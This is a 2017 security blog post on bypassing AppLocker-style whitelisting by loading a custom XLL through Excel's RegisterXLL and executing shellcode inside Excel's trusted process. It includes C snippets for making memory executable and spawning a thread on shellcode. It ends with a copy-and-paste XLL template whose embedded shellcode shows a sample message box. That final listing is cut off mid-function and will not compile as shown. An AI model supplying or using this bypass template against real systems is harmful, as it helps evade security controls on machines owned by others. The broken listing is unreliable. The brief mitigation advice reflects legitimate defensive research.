Application whitelist bypass using XLL and embedded shellcode

August 03, 2017

Application whitelisting

Application whitelisting tools such as Microsoft’s AppLocker provide an effective way to prevent users from executing unauthorised applications. Via these tools Administrators can whitelist an approved list of application publishers, paths or file hashes. If an application does not fall under this approved whitelist, it cannot be executed.

Reliable bypass methods

A reliable and known method to bypass these restrictions is to abuse trusted Windows utilities such as regsvr32 or rundll32 to perform unexpected actions and ‘break out’ from the whitelist.

However, a strictly administered environment can also perform whitelisting at the process level. Namely, a trusted application can be permitted to launch. However attempts to launch additional, non-trusted process via this trusted process can be blocked.

Better explained with an example, we can use a rundll32 bypass accompanied with a prepared cmd.dll file:

As can be seen, the rundll32 process has launched the additional DLL file. Thereby bypassing the AppLocker restriction at the application level, but this will still be blocking at the process level (as the DLL executable is not whitelisted and therefore the additional untrusted process will be blocked).

DLL Execution via Excel.Application RegisterXLL

Recently Ryan Hanson identified a method which can abuse another commonly trusted process:

A DLL can be loaded and executed via Excel by initializing the Excel.Application COM object and passing a DLL to the RegisterXLL method.

This method essentially permits an arbitrary bypass as any code can be executed as part of a custom XLL file. However, Ryan’s example has the same restriction where a secondary process is created:

Arbitrary execution within the trusted process space

Given we can create our own custom XLL files, we can abuse this method to execute shellcode directly within the trusted process space of Excel, there is no need to create an additional process.

There are a number of ways this can be achieved, for example we can mark our shellcode as directly executable and subsequently call it:

DWORD why_must_this_variable;
BOOL ret = VirtualProtect(shellcode, strlen(shellcode), PAGE_EXECUTE_READWRITE, &why_must_this_variable);

Or, we can create and execute our own thread within the current process:

LPVOID lpmem = VirtualAlloc(0, strlen(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory((HANDLE)-1, lpmem, shellcode, strlen(shellcode), 0);
CreateThread(0, 0, lpmem, 0, 0, 0);

Given that the shellcode runs directly within the process space of the trusted application, we can bypass process level white listing:


Blacklisting Excel is going to be a difficult business case. Attempting to block untrusted extensions will also be open to bypasses. A more comprehensive mitigation at the process level is to either monitor and whitelist trusted API calls or utilise trained heuristics to block abnormal application behaviour.


That’s great, but I just want to copy and paste something.

#include <Windows.h>

__declspec(dllexport) void __cdecl xlAutoOpen(void); 

char *shellcode = "\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x48\x10\x31\xdb\x8b\x59\x3c\x01\xcb\x8b\x5b\x78\x01\xcb\x8b\x73\x20\x01\xce\x31\xd2\x42\xad\x01\xc8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x73\x1c\x01\xce\x8b\x14\x96\x01\xca\x89\xd6\x89\xcf\x31\xdb\x53\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x51\xff\xd2\x83\xc4\x10\x31\xc9\x68\x6c\x6c\x42\x42\x88\x4c\x24\x02\x68\x33\x32\x2e\x64\x68\x75\x73\x65\x72\x54\xff\xd0\x83\xc4\x0c\x31\xc9\x68\x6f\x78\x41\x42\x88\x4c\x24\x03\x68\x61\x67\x65\x42\x68\x4d\x65\x73\x73\x54\x50\xff\xd6\x83\xc4\x0c\x31\xd2\x31\xc9\x52\x68\x73\x67\x21\x21\x68\x6c\x65\x20\x6d\x68\x53\x61\x6d\x70\x8d\x14\x24\x51\x68\x68\x65\x72\x65\x68\x68\x69\x20\x54\x8d\x0c\x24\x31\xdb\x43\x53\x52\x51\x31\xdb\x53\xff\xd0\x31\xc9\x68\x65\x73\x73\x41\x88\x4c\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x8d\x0c\x24\x51\x57\xff\xd6\x31\xc9\x51\xff\xd0";

void __cdecl xlAutoOpen() {
	DWORD why_must_this_variable;
	BOOL ret = VirtualProtect(shellcode, strlen(shellcode), PAGE_EXECUTE_READWRITE, &why_must_this_variable);

BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
	switch (ul_reason_for_call) {
	return TRUE;